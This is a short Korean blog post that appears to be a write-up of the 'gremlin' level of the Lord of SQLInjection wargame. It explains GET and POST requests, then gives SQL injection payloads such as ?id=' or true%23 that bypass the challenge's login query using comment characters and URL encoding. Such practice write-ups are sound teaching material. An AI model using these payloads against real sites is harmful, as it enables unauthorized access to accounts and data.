ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] gremlin
    Wargame/Lord of SQLInjection 2019. 7. 4. 22:06

    [gremlin] https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php

    웹 사이트에서 클라이언트가 서버로 데이터를 전송하는 방법으로 Get방식과 Post방식이 있다.

     

    [ Get 방식 ]
    url에 변수를 포함시켜 전송하는 방식으로 url에 데이터가 노출되고, 길이 제한이 있다.
    ex) grini25.com/test/?id='grini'&pw='1234'

    [ Post 방식 ]
    데이터가 본문(Body)에 포함되어 전송하는 방식
    ex) POST /test/ HTTP /1.1
    Host: grini25.com
    id='grini'&pw='1234'

     

    소스 코드를 보니 id와 pw는 get방식으로 전송받으며, 쿼리문을 참으로 만들어주면 문제가 풀린다.

     

    select id from prob_gremlin where id='' or true--' and pw='{$_GET[pw]}'

     

    ?id='or true--

    문제가 풀리지 않아, 다른 주석인 #를 이용해보았다.

     

    [ SQL 주석 ]
    Oracle, MsSQL : --
    MySQL : #

     

    ?id='or true#

    쿼리문에 #이 들어가지 않았다.

    url을 통해 값을 전송하기 때문에 url encoding하여 넣어 주었더니 문제가 풀렸다.

    # : %23

     

    ?id=' or true%23

    --뒤에 공백(%20)을 넣어주면 역시 문제가 풀린다.

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] darkelf  (0) 2019.07.05
    [LOS] wolfman  (0) 2019.07.05
    [LOS] orc  (0) 2019.07.04
    [LOS] goblin  (0) 2019.07.04
    [LOS] cobolt  (0) 2019.07.04

    댓글

@Jo Grini's Blog